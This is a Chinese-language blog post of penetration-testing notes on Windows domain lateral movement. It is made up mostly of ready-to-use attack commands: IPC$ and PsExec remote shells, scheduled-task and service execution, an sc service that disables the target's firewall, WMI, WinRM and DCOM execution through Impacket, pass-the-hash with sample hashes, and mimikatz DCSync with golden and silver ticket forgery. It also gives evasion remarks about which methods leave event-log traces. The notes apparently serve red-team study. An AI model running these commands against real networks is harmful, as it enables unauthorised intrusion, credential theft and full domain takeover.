内网横向渗透

不断更新

配合impacket工具使用

IPC$

IPC$(Internet Process Connection)是共享”命名管道”的资源,是为了让进程间通信而开放的命名管道

利用条件:

  1. 开放139,445端口
1
2
3
4
5
6
7
net share   显示所有共享资源

net use \\ip\ipc$ "密码" /user:"用户名" 建立ipc非空连接

net use h: \\ip\c$ 将对方c 映射到本地h

net use \\ip\c$ /del 如果断开连接就删除重新连接就行

psexec+ipc$

前提是与目标主机建立ipc连接

1
2
3
4
5
6
net use \\192.168.3.100\ipc$   建立ipc共享

PsExec64.exe -accepteula \\<目标机IP> -s cmd.exe #获得交互式shell,并且权限提升到system权限

-accepteula: 第一次运行PsExec会弹出确认框,使用该参数就不会出现
-s: 以system权限运行远程进程,获得一个system权限的交互式shell,不使用此参数获得一个 administrator的shell
  • psexec 不能用原因: 会在目标上开启PSEXEC 服务,“ 记录在Windows事件日志中, 一检测就会被发现。

而wmic 就没有痕迹,

ipc+at

windows 2008 之前版本 at

创建

1
at \\ip  xx:xx:xx cmd /c “whoami > 1.txt"

删除

1
at \\ip 1 /delete

ipc+schtasks

windows 2008 及以上 schtasks

1
2
3
4
SCHTASKS /Create /S ABC /U domain\user /P password /SC MINUTE
/MO 5 /TN logtracker
/TR c:\windows\system32\notepad.exe /ST 18:30
/RU runasuser /RP

创建

1
2
3
4
5
6
schtasks /s dc.domain.com /create /tn "planname" /st 00:00 /tr "cmd /c ipconfig >c:\1.txt" /sc ONCE /u domain\administrator /p 123456 /RU system


/s ip
ONCE - 指定任务在指定的日期和时间运行一次。
/RU domain\administrator

执行

1
schtasks /s dc.doamin.com /run /tn "planname" /u domain\administrator /p 123456 /RU system

删除

1
schtasks /s dc.domain.com /delete /tn "planname" /u domain\administrator /p 123456 /RU system

Atexec

  • Impacket套件中的Atexec.py 能通过windows计划任务执行远程命令
1
2
3
4
python3 atexec.py -hashes :3c3ec769143bdd0ed99861d0fb79fc6b
shmily.god/Administrator@192.168.119.100 "whoami"

python3 atexec.py ./administrator:admin123...@192.168.119.100 "whoami"

ipc+sc

sc主要用来对操作系统服务进行管理

建立ipc后

1
2
3
4
5
sc \\ip  create servername binpath= "c:\door.exe" start=auto

启动

sc \ip start servername

sc通过服务关防火墙

1
2
3
sc \\ip create unablefirewall binpath= "netsh advfirewall set allprofiles state off"

sc \\ip start unablefirewall

WMI

前言:

WMI(Windows Management Instrumentation,Windows 管理规范)是一项核心的 Windows 管理技术;用户可以使用 WMI 管理本地和远程计算机。

平时可以用wmic查看进程/安装程序

  • 开放135,没有开防火墙

利用:

ipc+wmic:

1
2
3
4
5
	wmic /node:IP /user:admin /password:123456 process call create "cmd.exe /c ipconfig > c:\result.txt"

wmic /node:192.168.xxx.xxx /user:admin /password:123456 process call create "cmd.exe /c ipconfig > c:\result.txt"

type \\192.168.xxx.xxx\c$\result.txt

wmic+hash

impacket中的wmiexec.py使用:

1
2
3
4
5
	python wmiexec.py 用户名:密码@目标IP                                  #获得交互式shell

python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP #hash传递

python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP "ipconfig"

还有vbs,powershell方式

WinRm服务

前言:

Windows 远程管理(WinRM)是 WS-Management 协议的 Microsoft 实现,该协议为使用 Web 服务的本地计算机和远程计算机之间的通信提供了一种安全的方式。

WinRM 默认情况下支持 Kerberos 和 NTLM 身份验证以及基本身份验证,初始身份验证后,WinRM 会话将使用 AES 加密保护。使用 WinRM 服务需要拥有管理员级别的权限。

WinRM HTTP 通过 TCP 端口 5985 进行通信,启动 WinRM 服务后,防火墙默认会自动放行 5985 端口。

利用:

winrs

1
2
3
winrs -r:http://ip:5985 -u:[username] -p:[password] <command>

winrs -r:http://dc1.god.loal:5985 -u:[username] -p:[password] <command> #域中指定远程主机机器名

dcom

DCOM(分布式组件对象模型)是微软的一系列概念和程序接口

Impacket 的dcomexec.py

1
python dcomexec.py shmily.god/Administrator:123456@192.168.119.100

PTH

基于NTML hash认证 (windows认证方式)

PsExec64.exe 无ipc只能用账户密码

1
2
3
4
PsExec64.exe \\10.10.3.6 -u "shmily.god/Administrator" -p 123456 -s cmd.exe 


#-u 域\用户名 -p 密码

psexec.py

1
2
3
4
python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:cd243e1e171da2c4edd1dd695bfbef5a shmily.god/Administrator@192.168.119.100


python3 psexec.py shmily.god/administrator:admin123...\!@192.168.119.100

PTT

通常用来域内权限维持,或者横向

指定kerberos 认证流程,

才能知道 krbtgt 的ntlm hash

才能知道 服务账号 ntlm hash

这两者的重要性

Golden Ticket

image-20220307225058167

krbtgt 是kdc服务使用账户,在Domain Admins组中,域环境中,用户账户的票据都是krbtgt生成的。

如果攻击者拿到了 krbtgt的ntml hash或者AES-256值,即可伪造任意用户身份

需要条件:

1
2
3
4
5
6
7
1. 需要伪造的域用户名(有域管,肯定伪造域管啦)

2. 该域的域名

3. krbtgt的ntml hash或者AES-256值

4. 域krbtgt SID (去掉-502) (wmic useraccount get name,sid)

获得krbtgt账号的SID值和ntml hash哈希值 [这个需要我们用域账户(权限太低不行,即域管权限),并且将该用户加入本地管理员组,或者用域管理员方式进行cmd命令执行]

  1. 获得hash等需要的条件信息
1
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:shmily.god /user:krbtgt"

image-20220307225230207

image-20220307225631024

1
2
3
SID        :S-1-5-21-2538459943-234226500-22795540782
ntml hash :8aecb1498df128a866968668302003bd
aes256 :1f15a3cce65909ed19ff0e5ec6b7102f630be3725b12c66e25251ab0b81305e7
  1. 查询域管理员账号:
1
net group "domain admins" /domain

image-20220308000619676

注入票据前

1
dir \\192.168.119.200\c$

image-20220308004612176

  1. 清空会话票据
1
2
privilege::debug
kerberos::purge

image-20220308001049876

  1. 生成黄金票据(Administrator.kiribi)
1
2
3
kerberos::golden /user:administrator /domain:shmily.god /sid:S-1-5-21-2538459943-234226500-22795540782 /krbtgt:8aecb1498df128a866968668302003bd /ticket:Administrator.kiribi 

# kerberos::golden /user:要伪造的域用户(我们这一般写域管理员, 实际上/id=500 这里才是我们要伪造的用户权限) /domain:域名 /sid:域的sid值 /krbtgt:krbtgt的哈希 /ptt

image-20220308002554785

  1. 注入票据
1
kerberos::ptt Administrator.kiribi

image-20220308002722245

1
kerberos::tgt  查看当前票据

image-20220308002904106

  1. 验证

image-20220308003825467

使用黄金票据伪造的用户可以是任意用户(即使这个用户不存在),因为 TGT 的加密是由 krbtgt 完成的,所以只要 TGT 被 krbtgt 账户和密码正确的加密,那么任意 KDC 使用 krbtgt 将 TGT 解密后,TGT 中的所有信息都是可信的。

总结

1
2
3
privilege::debug

kerberos::golden /user:administrator /domain:xxx.com /sid:

Silver Ticket

image-20220307220404812

1
kerberos::golden /user:administrator /domain:domain.com /sid:域id /rc4: /service: /target: /ptt

EnhancedGolden Tickets

参考:https://www.freebuf.com/articles/system/197160.html

通过域内主机在迁移时LDAP库中的SIDHistory属性中保存的上一个域SID值制作可以跨域的金票。

如果知道根域的SID那么就可以通过子域的KRBTGT的HASH值,使用mimikatz创建具有 EnterpriseAdmins组权限(域林中的最高权限)的票据。

1
kerberos::golden /admin:administrator /domain:news.yunying.lab /sid:XXX /sids:XXX /krbtgt:XXX /startoffset:0 /endin:600 /renewmax:10080 /ptt

Startoffset和endin分别代表偏移量和长度,renewmax表示生成的票据的最长时间

这使用的是子域krbtgt的 hash,根域的不知道。

参考:渗透攻击红队公众号

内网渗透(四) | 票据传递攻击 - 云+社区 - 腾讯云 (tencent.com)

  • Copyrights © 2020-2023 Shmily-ing
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信